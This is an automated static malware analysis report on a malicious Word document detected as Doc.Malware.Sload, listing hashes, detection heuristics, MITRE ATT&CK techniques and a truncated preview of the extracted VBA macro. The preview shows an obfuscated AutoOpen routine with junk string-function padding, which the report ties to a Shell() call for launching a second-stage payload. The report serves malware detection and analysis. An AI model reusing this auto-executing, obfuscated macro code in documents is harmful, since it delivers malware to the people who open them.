Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d8f2861a7fc44aee…

MALICIOUS

Office (OLE)

102.5 KB Created: 2018-09-28 18:30:00 Authoring application: Microsoft Office Word First seen: 2018-10-26
MD5: 4cdd0c7a8d33b77f4b02f172f39ca858 SHA-1: 56deca8eca875f58094c6afeeb695ec49af5b79b SHA-256: d8f2861a7fc44aeefb27c333c730fba45d5b4441f45c0eddf940d3333a11a6aa
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and the critical heuristic indicates a Shell() call within the VBA code. This suggests the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Malware.Sload-6799026-0' further supports a malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.Sload-6799026-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sload-6799026-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49548 bytes
SHA-256: ea1f2d22f0483c712029bd6db4fad55056b06ca4d14aebb6b0244f06d9a32691
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YFhZtHrzUbu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim mKRdP(1)
mKRdP(0) = InStrRev(UIjvoI + TnkwaiWCawwDqVwddcU + QrjvNsnK, RsMZp + nODSGdNJaqlzmofjz + KnlMC) + InStrRev(NvIDd + zdKjFDRwfGPSuGZJiE + tIEMwfh, ztoKVCuI + qFGmGvoBdUKBhXBVGmO + SZROZ) + InStrRev(AYLZbnW + IdjzfnGNEismzGzUhia + wTlpIVdB, wIiHb + KAUZmOZwanCPBiwMBCw + dohAzst) + InStrRev(ATZHYMFM + upzoTHzIOdiuvzjY + jPMOS, KmHoTpzl + NkqslLWIRNYoaDOZ + BGMpVH)
   Dim znnRqb(2)
znnRqb(0) = InStrRev(ijkST + ctIdwizZkOUZbQrzIBE + UCPzm, BzkhOp + JCpNjcGhROiaWXnwJwP + ORMXp) + InStrRev(ccLnG + YiNhihYbfQOJarQkiwPPj + QlFPiaJj, vPjQln + HakalMbCjsJSiAvWczpEdLb + NntLqi) + InStrRev(DpAtn + dnGwROzwRwjRWJsGfOn + kCvrbm, HQbpFiDG + uutzJjwaBhJKpHnMuXLoHb + RJioADat) + InStrRev(ksLvBv + wGlhSonhQiGIoiQMM + jwVOc, wWQMz + JjrNAMVJfmMjXjParWoM + RjjuStmu)
znnRqb(1) = InStr(uYwLUka + bPmjiljzlXUWnXmPslARV + LkDGGw, cZiwAI + OJqKYlbcwKtDbwRqwtSibRz + DjlHHplI) + InStrRev(zaJaRIl + BbNFohCviPsYadMDlNp + IOAmTAW, fJWqd + SmqiPpzjBMwiLlazZ + jvIZl)
   Dim Hzhfqa(1)
Hzhfqa(0) = InStr(XlrhYG + aTpSzcHqNpOtnZaDJXRdW + CqbOwVRT, GNqisroc + WjMQhFDYIqTNENbPTzZ + TmcYRf) + InStrRev(lRWSd + sSsIrJnmEbiNNRpmwvciHif + wiHnCuW, RzQjm + qBPmTbXrOmPnMTFDEzn + qPkfzW)
   Dim GicPd(1)
GicPd(0) = InStr(zLXTpAG + aHjYzlQfsQDvVpjZTkjEF + ZCikh, HhSBVT + wslCXDiOKRjwDtskMNBnL + onWCJQF) + InStrRev(nTCIIjUP + OSDoPXiIEuFahCLLABb + Gjbkbc, NvGTkzG + hwwtitUthJDYOoijvsG + IrfaR)
   Dim WKJSz(2)
WKJSz(0) = InStrRev(SNuGBsJr + YjAsljLaMidCQBXGEKQEAI + TljrPj, YoSlbzbX + oKiEiYlcWHizPrFtUOzu + iszfGjt) + InStr(TjpPHwTi + otoirLGdmurPKpYFWnNhI + aczuBk, ikuJI + NQKwbQioJuYjwfTdld + lJzHjqA) + InStrRev(lWZzWL + voklHMNKXOqfihZniJwzM + mJYdqUf, pnzizkwc + pkDBkQwJnzqYIDmahuL + fBjvptMW) + InStrRev(ntiInMt + srzOpBjKBlriVjjBi + bLzUjqv, nzqGBj + uRMBUsjIYmEjsRQnQU + lMnwtof)
WKJSz(1) = InStr(wmHQDZGT + bSIthklpksVZbpjupUbO + ukwBr, CIqOdS + JDqYzMfjcjaYzEKlnKnj + XTRlWwX) + InStrRev(jRlpAhiF + IjvdQrSjTrVzZHuuJiM + saOOKEF, KorbqA + fqGALsrbanKHvOkqduHc + zIEGzQu) + InStrRev(wWtjhcVX + RuQPtINKQSYNNpoldJ + KzZph, HXYwwr + LzkKjjiZBSUmhUYkFS + fDwJuz) + InStrRev(WfzcntzJ + XQnOibZTiXHbarHmaka + vopEw, PJZvCf + VjIjkYEWlIpswwXhT + VnHJHzC)
   Dim TqFLV(2)
TqFLV(0) = InStr(VAzqMZf + qkiGZZSiruNMHjDwwiSRUF + cAXcAP, PGqcuYXO + ZJtQnPQqIXSKIpiZPt + PTwGiU) + InStrRev(Dovjz + MIOkYTzvpJliofavdwq + wSBUiPU, dVRAJZW + AQZipSZPFBvQjnFozSjU + ETYOW) + InStrRev(haqsGN + FFzPUpNSQVTiwDThlwpKsE + qfGdad, NjESLrTG + hqkWWTfrkQuHLXTLnvqd + nrUVtfjM) + InStrRev(ldTJKJ + UdTZtZkzuKFqNjEzJzFj + oGzEKB, EIZWN + lZfpCmjXmaFJkoOwFSmQp + ElFIKVG)
TqFLV(1) = InStrRev(XaridH + RjwUQtckEscpwWhu + bFwEMRoF, zjkwFwL + LfZROcNkuIvNqizPEw + iXvsNL) + InStrRev(KuYHH + kbmDEKwkTWHbzwiIvtTk + AuzBo, oqMnS + MfnKZDIAOLAAwRrZADPBj + PTknI)
   Dim uaZaEr(2)
uaZaEr(0) = InStrRev(cNbZBUw + OsoGdtVnjHbZTrVEm + VbwiWTj, MvVAu + RjWFQIGizBGKwsiXNKw + lkXvfYN) + InStrRev(UEXPDP + pwXRdsNSLRXlNnUflz + lWmpt, FSKhU + RIsJbNNwjHmNcbjPmluq + zFGwND) + InStrRev(KWMncX + pPDiHGkWjBEQOWRcHGzufOV + XwwIC, fnUNsVkP + nAvzvnvGqsUXTiwmkt + TqdVbkl) + InStrRev(QcaVIGb + MwzCKAcoqlclZbIR + LUULE, PuXXnZjG + jNVzvuEXTpvjzzBbfqG + MtTOp)
uaZaEr(1) = InStr(fzKcEGM + jGjbCTZNPZfiZsMnBbV + rKwWV, nlCvka + sftBZzBDkDLtZOrdksXrE + ltczqwAH) + InStrRev(iUqItI + RtYOXDhzIMVootbYEtEL + sPtBUqj, mNZWV + zBrvYjaOzpkosNjinnrcR + jBjBmiAl)
ZzuAiPYMhUiu (KeyString(jTTfB + qHMivj + 3 + 0 + 64 + jUwvRajp + kkqNtG) + EWFvGTS + ofXkbaCz + KeyString(jkizir + lhcNGV + 3 + 0 + 74 + LkkNidH + JEjIKnOn) + mlRhvOBFvj + kzCAsrMPjbQ + cWcUdRNTMd + FBkPDBuYV + vQGIL + ruipnJHi)
   Dim hZPnF(1)
hZPnF(0) = InStrRev(QSaHlwGf + btPTwuizFcjuTwOuknoD + rZfZW, hCAbH + fWEIlLjHJhislnqSGHV + asRBr) + InStr(zZfPOj + kjTSWsUZBdNlooIvhtt + omjENVS, YiaoC + iYsAOFJkEFFnzAndkJnGE + FNGOnHS)
   Dim RUYsL(2)
RUYsL(0) = InStrRev(
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.